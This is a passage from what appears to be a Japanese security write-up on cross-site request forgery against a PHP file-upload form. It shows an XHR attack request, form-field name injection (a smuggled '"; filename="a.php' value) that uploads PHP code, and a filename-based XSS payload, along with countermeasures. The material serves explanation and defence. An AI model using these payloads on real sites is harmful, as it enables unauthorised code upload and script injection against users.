req.setRequestHeader('Content-Type', 'multipart/form-data; boundary=--BNDRY');
  req.withCredentials = true;
  req.send(data);
</script>
</body>

POST /pro_add_check.php HTTP/1.1
Host: example.jp
Content-Length: 128
Origin: http://trap.example.com
Content-Type: multipart/form-data; boundary=--BNDRY
Referer: http://trap.example.com/d/csrf.html
Cookie: PHPSESSID=jl970047757cdtmi3g32hka0k7

----BNDRY
Content-Disposition: form-data; name="file"; filename="a.php"
Content-Type: text/plain

<?php phpinfo();

----BNDRY--

• クロスドメインで確かに攻撃リクエストが送信されている。
• multipart/form-dataの形式のデータが送信されており、PHPスクリプトがアップロードされる
• 認証Cookieが送信されていて、認証状態でリクエストが受け付けられる
• OriginヘッダとRefererヘッダがワナサイトを示しているが、元のPHPスクリプトはこれらをチェックしていないので攻撃には影響ない

対策

• アップロードするファイル名の拡張子を画像のもの（.jpg等)に制限する

• アップロードされた画像は公開領域に保存せず、スクリプト経由でダウンロードさせるようにする

• 画像ファイルによるクロスサイト・スクリプティング(XSS)傾向と対策

• アップロード時に拡張子が画像のもの(.jpg等)であることを確認する
• 画像のマジックバイト(前述のエントリを参照)を確認する
• レスポンスヘッダContent-Typeを正しく設定する
• 保険的に、X-Content-Type-Options: nosniff をレスポンスヘッダとして送信する

• PHP逆引きレシピ 第2版 (PROGRAMMER’S RECiPE)
• 体系的に学ぶ 安全なWebアプリケーションの作り方　脆弱性が生まれる原理と対策の実践

まとめ

通常のHTMLフォームを使ったCSRF攻撃では、Content-Typeをmultipart/form-dataにすることまでは可能ですが、ファイルの中身とファイル名を指定する方法がありません。従って、HTMLフォームによる攻撃経路はありません。

<form enctype="multipart/form-data" action="pro_add_check.php"
method="POST">
<input name="name" value="nnnn" type="hidden">
<input name="price" value="100" type="hidden">
<input name='gazou"; filename="a.php' type="hidden" value='<? phpinfo();
?>'>
<input type="submit" value="submit" />
</form>

<? phpinfo();
?>

-----------------------------7de34b38200e8
Content-Disposition: form-data; name="name"

nnnn
-----------------------------7de34b38200e8
Content-Disposition: form-data; name="price"

100
-----------------------------7de34b38200e8
Content-Disposition: form-data; name="gazou"; filename="a.php"
Content-Type: text/plain

<? phpinfo();
?>

-----------------------------7de34b38200e8--

gazou"; filename="a.php

• IE9以降およびGoogle Chrome:  %22 にエスケープされる（パーセントエンコード）
• Firefox: \"にエスケープされる

print'<img src="./gazou/'.$pro_gazou['name'].'" />';

<input name='gazou"; filename="a.gif" onerror="alert(1)' type="hidden" value='GIF87a '>

<img src="./gazou/a.gif" onerror="alert(1)">

<input name='gazou"; filename="a.php"
Content-Type: text/plain

<?php phpinfo();//' type="hidden" value=''>

-----------------------------7de2fd25200e8
Content-Disposition: form-data; name="gazou"; filename="a.php"
Content-Type: text/plain

<?php phpinfo();//"


-----------------------------7de2fd25200e8--

<form enctype="multipart/form-data" action="pro_add_check.php" method="POST">
<input name='gazou"; filename="a.php' type="hidden" value='<? phpinfo();?>'>
<input type="submit" value="submit" />

-----------------------------7de2af1b3f023e
Content-Disposition: form-data; name="gazou"; filename="a.php"

<? phpinfo();?>
-----------------------------7de2af1b3f023e--

<textarea name='gazou"; filename="phpinfo.php'>
&lt;?php
phpinfo();
?&gt;
</textarea>

-----------------------------7de3811808b6
Content-Disposition: form-data; name="gazou"; filename="phpinfo.php"

<?php
phpinfo();
?>

-----------------------------7de3811808b6--

<select name='gazou"; filename="phpinfo.php'>
<option value="<?php phpinfo(); ?>" selected>1</option>
</select>

-----------------------------7de6110808b6
Content-Disposition: form-data; name="gazou"; filename="phpinfo.php"

<?php phpinfo(); ?>
-----------------------------7de6110808b6--

• GNUCITIZEN » Cross-site File Upload Attacks
• Web Security Research» Alex's Corner: CSRF-ing File Upload Fields

• CSRFにて別の利用者のブラウザ上からファイルをアップロードする
• ファイル名のエスケープ漏れがある場合にXSSができる